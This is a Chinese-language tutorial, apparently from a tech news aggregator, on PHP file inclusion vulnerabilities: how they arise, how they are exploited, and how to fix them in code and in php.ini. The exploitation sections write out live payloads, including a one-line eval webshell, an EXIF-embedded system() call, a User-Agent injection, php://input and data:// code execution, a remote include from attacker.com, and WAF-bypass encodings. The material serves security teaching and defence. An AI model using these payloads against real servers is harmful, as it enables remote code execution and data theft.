当前位置: 首页 > news >正文

PHP文件包含漏洞:原理、利用与防御全解析

1. 项目概述:文件包含漏洞的本质与危害

干了这么多年Web安全,PHP文件包含漏洞(File Inclusion Vulnerability)是我见过最“经典”也最容易被开发者忽视的漏洞之一。说它经典,是因为其原理简单直接,利用方式却花样百出;说它容易被忽视,是因为很多开发者觉得“不就是个include嘛,能出啥大问题”。恰恰是这种轻视,让无数网站门户大开。

简单来说,文件包含漏洞的核心,就是程序在动态包含文件时,没有对用户传入的文件路径或名称进行严格的过滤和校验。攻击者通过构造恶意的参数,可以让程序去包含并执行一个本不该被包含的文件。这个被包含的文件可以是服务器本地的敏感配置文件(如/etc/passwd),也可以是远程服务器上的Webshell,甚至是通过PHP内置的各种“伪协议”构造的恶意数据流。一旦利用成功,轻则敏感信息泄露,重则服务器被完全控制,沦为“肉鸡”。

这个漏洞的可怕之处在于它的“无差别攻击”特性。无论被包含的文件原本是.txt.log还是图片,只要其内容被includerequire等函数加载,其中的PHP代码就会被解析执行。这就好比你家大门(include函数)的锁坏了,小偷不仅能进来,还能把你家任何一件家具(文件)变成打开保险箱的钥匙(执行代码)。对于刚入门安全测试的朋友,或是正在开发PHP项目的程序员,彻底理解这个漏洞的成因、利用手法和防御方法,是构建安全意识的必修课。

2. 漏洞原理深度剖析:从函数到利用链

要理解漏洞,必须先理解PHP是如何“包含”文件的。这不是一个简单的文件读取操作,而是一个代码执行的过程。

2.1 核心“元凶”:四个包含函数

PHP提供了四个用于文件包含的函数,它们的行为略有不同,但在漏洞利用上“效果”一致:

  • include(): 包含并运行指定文件。如果包含失败(如文件不存在),会发出一个警告(E_WARNING),但脚本会继续执行。
  • require(): 包含并运行指定文件。如果包含失败,会产生一个致命错误(E_COMPILE_ERROR),并停止脚本执行。
  • include_once()/require_once(): 功能与前两者相同,但会检查该文件是否已经被包含过,如果是则不会再次包含。这在防止函数重定义时有用,但对安全防护无额外帮助。

关键点在于:这些函数在设计上是为了提高代码的复用性和模块化。例如,将数据库连接配置写在config.php中,然后在每个需要数据库操作的页面开头include(‘config.php’)。问题出在,这个被包含的文件路径,如果可以由用户控制(比如通过$_GET$_POST等超全局变量传入),漏洞就产生了。

2.2 漏洞产生的典型代码模式

最经典的漏洞代码长这样:

<?php $file = $_GET['file']; // 用户直接控制文件路径 include($file . '.php'); // 拼接后缀,但过滤不严 ?>

第一行,程序直接从URL参数file中获取值,赋值给变量$file。这里没有任何过滤。第二行,虽然拼接了.php后缀,试图限制只能包含PHP文件,但我们将看到,这种防御形同虚设。

攻击者可以这样访问:http://victim.com/index.php?file=../../../../etc/passwd。此时,$file的值为../../../../etc/passwd,拼接后变成../../../../etc/passwd.php。服务器会尝试回溯目录,去寻找并包含这个根本不存在的.php文件。然而,在包含操作发生前,PHP会尝试打开这个路径。如果文件存在且可读,即使最终包含失败(因为/etc/passwd不是有效的PHP文件),在文件打开阶段,其内容也可能被部分输出或通过错误信息泄露。更危险的是,如果服务器同时存在文件上传漏洞,攻击者上传一个内容为<?php phpinfo();?>shell.jpg,那么通过包含?file=uploads/shell.jpg,其中的PHP代码就会被执行。

2.3 本地与远程:漏洞的两个维度

根据包含文件的来源,漏洞可分为两类:

  1. 本地文件包含(LFI):包含的是服务器本地文件系统上的文件。这是最常见的情况。利用LFI,攻击者可以读取系统敏感文件(密码、配置)、包含上传的恶意文件,或者包含如日志、Session等进程生成的文件来执行代码。
  2. 远程文件包含(RFI):包含的是通过HTTP、FTP等协议从远程服务器获取的文件。这种危害更大,相当于允许攻击者在自己的服务器上托管恶意代码,然后让受害服务器去下载并执行。但RFI需要两个关键的PHP配置项开启才能生效allow_url_fopen = Onallow_url_include = On。在现代PHP版本和安全意识下,默认配置通常已关闭allow_url_include,使得纯RFI较为少见,但与之相关的伪协议利用依然活跃。

3. 利用手法实战:从简单读取到代码执行

理解了原理,我们来看看攻击者具体有哪些“武器”。我会结合自己的测试经验,告诉你哪些手法现在依然有效,哪些已经随着PHP版本更新而失效。

3.1 无限制本地文件包含(LFI)

这是最理想的情况,代码没有任何过滤,比如include($_GET[‘file’]);

  • 敏感信息读取:直接进行路径遍历。
    • ?file=../../../../etc/passwd(Linux)
    • ?file=../../../../windows/system32/drivers/etc/hosts(Windows)
    • ?file=./config/database.php(读取项目配置文件,可能含数据库密码)
  • 配合文件上传GetShell:这是LFI最常导致的严重后果。假设网站有头像上传功能,虽然校验了文件类型,但攻击者可以上传一个包含Webshell代码的图片文件(如shell.jpg,内容为<?php @eval($_POST[‘cmd’]);?>)。然后通过LFI包含这个图片:?file=./uploads/shell.jpg,图片中的PHP代码就会被执行。

实操心得:在实际渗透测试中,遇到严格图片校验时,可以尝试使用Exif工具将PHP代码写入图片的EXIF信息中,有时能绕过简单的文件头校验。命令如:exiftool -Comment=‘<?php system($_GET[“c”]); ?>’ shell.jpg

3.2 有限制LFI的绕过技巧

现实中的代码多少会有点过滤,比如前面提到的加后缀.php。以下是几种经典的绕过方法:

3.2.1 %00空字节截断(已失效但须了解)在PHP版本< 5.3.4magic_quotes_gpc = Off时,可以利用空字节(%00)来截断后面的字符串。

  • 示例?file=../../../../etc/passwd%00
  • 原理%00在C语言和早期PHP中表示字符串结束。PHP在拼接$file . ‘.php’时,遇到%00会认为字符串已结束,后面的.php被忽略。但在PHP 5.3.4之后,此特性被修复,%00会被直接拒绝,此方法基本退出历史舞台。

3.2.2 路径长度截断操作系统对文件路径有最大长度限制(Windows 260字符,Linux 4096字符)。超出部分会被截断。

  • 示例?file=test.txt/././././././...(重复非常多次)
  • 原理:攻击者传入超长路径,使最终拼接出的路径超过系统限制,系统自动截断末尾部分(包括我们讨厌的.php后缀)。这种方法在现代Web环境中成功率也在下降,因为Web服务器(如Nginx)可能先于操作系统对URL路径长度进行限制。

3.2.3 点号截断(仅Windows)这是路径长度截断在Windows系统下的一个变种,利用Windows下目录路径中.的特殊性。

  • 示例?file=test.txt........................................................................................................................................................................................................................................................................................................................
  • 原理:Windows API在处理超长的.时会出现异常,导致后缀被截断。此方法仅适用于Windows服务器,且在新版本PHP中同样受到限制。

注意事项:上述三种传统截断方法在当今的渗透测试中,更多是作为“历史知识”存在。面对现代PHP环境(>=5.3.4)和配置,它们往往无效。我们的重点应该转向更通用的技巧和伪协议。

3.3 利用环境文件:日志、Session与Proc

当无法直接上传文件时,聪明的攻击者会利用服务器上那些“可写”且“会被包含”的文件。这些文件就像是攻击者的“便签本”,他们先把代码“写”上去,再让包含函数去“读”。

3.3.1 日志文件包含Web服务器(如Apache, Nginx)会记录所有访问日志。如果攻击者能预测日志路径(如默认的/var/log/apache2/access.log),就可以将PHP代码作为HTTP请求的一部分写入日志,然后包含该日志文件。

  • 利用步骤
    1. 探测日志路径。可通过报错信息、phpinfo()页面或常见默认路径猜测。
    2. 发送一个包含PHP代码的HTTP请求。例如,直接访问:http://victim.com/<?php phpinfo();?>。这个畸形的URL会被记录到访问日志中。
    3. 使用LFI包含日志文件:?file=../../../var/log/apache2/access.log
  • 难点与技巧:浏览器或URL编码会破坏代码。例如<>空格会被编码。通常需要借助Burp Suite这类工具直接发送原始HTTP请求,避免编码。此外,日志文件通常很大,包含执行可能导致超时,最好先写入一个简单的phpinfo()或短小的Webshell代码。

3.3.2 Session文件包含PHP的Session机制会将用户会话数据存储在服务器的一个文件中(如/tmp/sess_[session_id])。如果Session内容用户可控,且Session文件路径可知,就能构成利用链。

  • 利用条件
    1. Session存储路径已知(通过phpinfo()中的session.save_path获取,或尝试默认路径)。
    2. Session内容($_SESSION变量)用户可控(例如,程序将$_GET[‘username’]直接存入$_SESSION[‘username’])。
  • 示例
    // vuln.php session_start(); $_SESSION[‘username’] = $_GET[‘username’]; // 用户可控!
    攻击者访问:http://victim.com/vuln.php?username=<?php phpinfo();?>这个PHP代码会被存入Session文件(如/tmp/sess_abc123)。 然后,利用另一个存在LFI的页面:?file=../../../tmp/sess_abc123,即可执行phpinfo()

3.3.3 /proc/self/environ 包含在Linux系统中,/proc/self/environ文件包含了当前进程的环境变量。其中HTTP_USER_AGENT是由客户端浏览器发送的,因此攻击者可以控制。

  • 利用步骤
    1. 修改你的HTTP请求的User-Agent头为PHP代码:User-Agent: <?php system(‘id’); ?>
    2. 利用LFI包含:?file=../../../proc/self/environ
    3. 如果包含成功,id命令的结果可能会输出在页面上。
  • 限制:这种方法需要/proc文件系统可读,且PHP有权限读取该文件。在现代容器化或严格权限控制的环境中可能不可用。

3.4 PHP伪协议:文件包含的“瑞士军刀”

PHP伪协议是文件包含漏洞利用中最强大、最灵活的部分。它们不是用来访问具体的文件,而是访问各种“数据流”或“封装器”。

3.4.1 php://filter(最常用的信息读取器)这个协议不执行代码,主要用于读取服务器上已有文件的源代码,特别是在无法直接访问源码时(比如.php文件被解析了)。

  • 语法php://filter/read=convert.base64-encode/resource=目标文件
  • 示例?file=php://filter/read=convert.base64-encode/resource=index.php
  • 作用:将index.php文件的内容经过Base64编码后输出。攻击者拿到Base64字符串后,解码即可获得完整的源代码。它不需要allow_url_include开启,只需要allow_url_fopen=On(默认通常是On),因此利用门槛极低。
  • 为什么用Base64?因为直接读取.php文件,其中的PHP代码会被执行,我们看不到源码。通过Base64编码,代码被转换成文本,就能安全地“看”到了。这是审计代码、寻找其他漏洞(如数据库密码、逻辑漏洞)的利器。

3.4.2 php://input(执行任意代码)这个协议允许你访问请求的原始POST数据,并将其作为PHP代码执行。

  • 条件:需要allow_url_include=On
  • 利用方式
    1. 发送一个POST请求。
    2. URL参数为:?file=php://input
    3. 请求体(Body)中直接写入要执行的PHP代码:<?php system(‘ls -la’); ?>
  • 示例(使用cURL命令)
    curl -X POST http://victim.com/vuln.php?file=php://input --data “<?php echo ‘Hello, Hack!’; ?>”
    服务器端的include函数会包含php://input流,而该流的内容就是你POST过去的代码,于是echo语句就被执行了。这相当于一个直接的代码执行入口,危害极大。

3.4.3 data://(数据流直接执行)将一段定义好的数据作为文件流来包含。

  • 条件:需要allow_url_include=Onallow_url_fopen=On
  • 语法data://text/plain, 你的代码data://text/plain;base64,Base64编码的代码
  • 示例
    • 明文:?file=data://text/plain,<?php phpinfo();?>
    • Base64编码(避免特殊字符问题):?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
  • 特点:非常直接,无需任何外部文件,直接将代码作为参数传递并执行。

3.4.4 phar:// 与 zip://(压缩包绕过)这两个协议用于处理压缩文件。它们的神奇之处在于,即使文件后缀是.jpg.png,只要其内部是ZIP压缩格式,它们就能解压并访问其中的文件。这常用于绕过文件上传校验。

  • phar://?file=phar://上传的图片文件/phar内部的文件
    • 示例:攻击者将Webshellshell.php压缩成shell.zip,然后改名为shell.jpg上传。利用LFI:?file=phar://./uploads/shell.jpg/shell.php
  • zip://?file=zip://[压缩文件绝对路径]#[内部文件]
    • 示例:?file=zip:///var/www/html/uploads/shell.jpg%23shell.php(注意#需要URL编码为%23)
  • 条件:需要allow_url_include=Onphar需要PHP>=5.3.0。

3.4.5 file:// 与 expect://

  • file://:用于访问本地文件系统,是php://filter的替代,但更直接。如?file=file:///etc/passwd。它通常不需要特殊配置。
  • expect://:用于执行系统命令,如?file=expect://ls但这个协议需要安装并启用PECL的expect扩展,在绝大多数生产环境中并未安装,因此实际利用价值很低。

4. 漏洞挖掘、利用与防御实战指南

知道了所有攻击方法,我们如何系统地发现、验证和修复它?

4.1 漏洞挖掘与测试流程

  1. 信息收集:寻找可能存在包含功能的参数。常见参数名如file,page,template,load,path,document等。观察URL模式,如index.php?page=about
  2. 初步测试:尝试包含一个已知存在的文件。
    • 绝对路径:?file=/etc/passwd(Linux) 或?file=C:\windows\win.ini(Windows)。
    • 相对路径:?file=../../../../etc/passwd
    • 如果页面返回了文件内容(或文件不存在的错误与包含其他文件时不同),则可能存在LFI。
  3. 后缀绕过测试:如果程序添加了后缀(如.php)。
    • 尝试空字节截断(历史环境):?file=../../etc/passwd%00
    • 尝试路径截断:?file=../../etc/passwd././././.(或超长../)
    • 最有效:尝试伪协议读取源码:?file=php://filter/read=convert.base64-encode/resource=index.php。这能绕过很多后缀限制。
  4. RFI测试:尝试包含一个远程URL。
    • ?file=http://attacker.com/shell.txt
    • 如果服务器开启了allow_url_include且请求发往了你的服务器(可在自己服务器日志查看),则存在RFI。
  5. 升级利用:如果确认LFI,尝试结合其他漏洞或环境。
    • 检查是否有文件上传点,尝试上传图片马并用LFI包含。
    • 尝试包含日志(/var/log/apache2/access.log)、Session文件(通过phpinfo找路径)、/proc/self/environ等。
    • 尝试使用php://inputdata://协议执行代码。

4.2 常见问题与排查技巧实录

在实际测试和防御中,你会遇到各种奇怪的情况。下面是我踩过的一些坑和总结的技巧:

问题1:包含文件后页面空白或报错,但不确定是否包含成功。

  • 排查:包含一个肯定会触发Warning或Notice的文件。例如,包含一个不存在的文件,或者包含一个内容为<?php echo “TEST”;?>的文本文件。观察页面是否有“TEST”输出,或者错误信息是否变化。使用php://filter读取一个已知的小文件(如robots.txt)的base64,看输出是否变化,是最稳妥的方法。

问题2:使用php://input执行命令没有回显。

  • 技巧:尝试将命令执行的结果写入一个Web可访问的文件。POST Body内容为:<?php file_put_contents(‘/tmp/result.txt’, shell_exec(‘ls -la’)); ?>。然后尝试通过其他方式(如目录遍历)访问/tmp/result.txt查看结果。或者使用system(‘ls -la > /tmp/result.txt’)

问题3:日志文件包含失败,可能是权限问题或日志路径不对。

  • 技巧:Linux下尝试常见日志路径:/var/log/apache2/access.log,/var/log/apache/access.log,/var/log/nginx/access.log,/var/log/httpd/access_log。使用phpinfo()页面是获取绝对路径的最佳方式。同时,确保你写入日志的Payload没有被Web服务器或WAF过滤掉<>等符号。

问题4:Session文件包含中,无法预测或获取Session ID。

  • 技巧:如果程序在设置可控Session后立即跳转或使用了新的Session,可以尝试利用Burp Suite的Repeater工具,禁止请求跟随重定向,并从响应头中提取Set-Cookie字段中的Session ID。或者,如果程序存在XSS漏洞,可以通过JavaScript获取用户的Session ID。

问题5:伪协议利用被WAF拦截。

  • 绕过技巧
    • 大小写混淆PHP://input,Php://Filter
    • 多重编码:对参数进行URL编码两次:?file=php%253A//filter/...(服务器解码一次后变成php%3A//...,可能绕过简单匹配)。
    • 使用其他协议:如果php://被禁,尝试data://zip://
    • 结合路径穿越?file=./php://filter/...?file=php:/./filter/...(某些环境下php:/会被归一化为php://)。

4.3 彻底修复:从代码到配置的防御体系

修复文件包含漏洞,必须从多个层面建立纵深防御。

4.3.1 代码层修复(治本之策)

  • 白名单制度:这是最有效的方法。如果只有固定的几个文件需要被包含,使用白名单。
    $allowed_pages = [‘home’, ‘about’, ‘contact’]; $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘./templates/’ . $page . ‘.php’); } else { include(‘./templates/404.php’); }
  • 严格过滤输入:如果必须动态包含,则对输入进行严格校验。
    $file = $_GET[‘file’]; // 1. 移除目录遍历字符 $file = str_replace(‘../’, ‘’, $file); $file = str_replace(‘..\\’, ‘’, $file); // Windows // 2. 限制文件路径在特定目录内 $base_dir = ‘/var/www/html/includes/’; $real_path = realpath($base_dir . $file); // 3. 检查最终路径是否仍在安全目录内 if ($real_path && strpos($real_path, $base_dir) === 0) { include($real_path); } else { die(‘Invalid file path.’); }
    注意str_replace(‘../’, ‘’, $file)这种过滤可以被….//绕过(移除../后变成../)。应使用更严格的循环过滤或正则表达式。

4.3.2 服务器配置层修复(重要加固)

  • 修改php.ini
    • allow_url_include设置为Off。这是关闭远程文件包含和危险伪协议(如php://input,data://)的关键。在绝大多数生产环境中,没有任何理由需要开启此选项。
    • 设置open_basedir。将其限制在Web应用所需的目录范围内,例如:open_basedir = /var/www/html/。这可以防止PHP脚本访问该目录树之外的文件,极大地限制了LFI的危害范围。
    • 确保magic_quotes_gpc已弃用且关闭(现代PHP默认如此),但不要依赖它作为安全手段。
  • Web服务器配置
    • 为Web服务进程(如www-data, nginx用户)设置严格的文件系统权限,遵循最小权限原则。
    • 定期更新PHP、Web服务器及系统,修复已知漏洞。

4.3.3 架构与运维层建议

  • 禁用危险函数:在php.inidisable_functions中,可以考虑禁用system,shell_exec,exec,passthru等函数,即使Webshell被上传,也能限制其执行命令的能力。
  • 部署Web应用防火墙(WAF):商业或开源的WAF可以识别和拦截常见的文件包含攻击Payload。
  • 安全开发培训:让开发者理解“永远不要信任用户输入”这一铁律,并在代码审查中重点关注文件操作、命令执行、数据库查询等敏感函数。

文件包含漏洞就像PHP安全世界里的一扇“任意门”,配置不当或代码疏忽就会让它通向服务器的核心地带。防御它没有银弹,需要开发者、运维和安全人员共同在代码规范、服务器配置和日常监控上持续投入。对于安全研究者而言,理解其背后的每一种利用技巧,不仅能更好地进行渗透测试,也能在设计系统时,本能地避开这些陷阱。

http://www.jsqmd.com/news/1041099/

相关文章:

  • 菏泽黄金回收市场实地走访:六家门店横向测评 - 余生黄金回收
  • 湖北现代科技学校2026年招生报名(官方) - 武汉中职最新信息发布
  • Hermes Web UI本地部署与汉化实战指南
  • 大模型API缓存机制与成本优化技术解析
  • 合规现款无套路,2026哈尔滨回收黄金高性价比商家榜单 - 名奢变现站
  • 没有购买发票,沈阳黄金回收会压价吗?一文说清 - 逸程
  • 嵌入式开发板硬件设计解析:从MCF52259核心到OSBDM调试实战
  • 2026年6月呼和浩特黄金回收六家门店实测报告 - 余生黄金回收
  • DeepSeek V4百万上下文架构解析:CSA+HCA注意力与mHC缓存优化
  • 2026年武汉湖北现代科技学校学校位置报名入口在那? - 武汉中职最新信息发布
  • 茂名黄金回收实地走访 六家门店全测评 - 余生黄金回收
  • GitHub中文界面解决方案:5分钟消除语言障碍的终极指南
  • 计算机毕业设计之大学生体质健康测试评估系统
  • 2026年6月国内优质的水泥制品源头厂家推荐,水泥彩瓦/环保化粪池/水泥管/水泥制品/混凝土涵管,水泥制品公司哪家好 - 品牌推荐师
  • 鄂尔多斯黄金回收实测六家靠谱门店全梳理 - 余生黄金回收
  • GPT-4omni:面向实时交互的轻量多模态大模型解析
  • 2026本地部署大模型实战指南:显卡选型、模型适配与生产就绪部署
  • 我把“选导游”这件事研究了3年,这7个人是我唯一敢闭眼推荐的(内蒙古持证导游全名单) - 纯玩旅游分享
  • 隐私零泄露!2026树洞陪玩平台真实测评,3款安心树洞闭眼入 - 时时资讯
  • 娄底当日金价及黄金回收门店实地走访记录 - 余生黄金回收
  • DeepSeek V4流式注意力与分块交叉注意力架构解析
  • 深圳黄金回收实测榜单,全维度横评5家本地商家,闲置黄金变现闭眼选靠谱渠道 - 奢侈品回收测评
  • 生产级机器学习系统:从模型部署到责任落地的四大支柱
  • 2026年6月合肥黄金回收市场实测走访 - 余生黄金回收
  • TC1028低功耗电压监控芯片:嵌入式系统电源哨兵设计指南
  • 武汉智工职业技术学校官方-2026年招生简章 - 武汉中职最新信息发布
  • TC646 PWM风扇控制器设计:从温度采样到故障检测的硬件实战
  • 2025数据科学家核心能力:从建模到端到端数据系统交付
  • 5分钟彻底告别GitHub英文界面:中文翻译插件让你的开发效率飙升300%
  • 2026年6月南宁黄金回收门店实测记录 - 余生黄金回收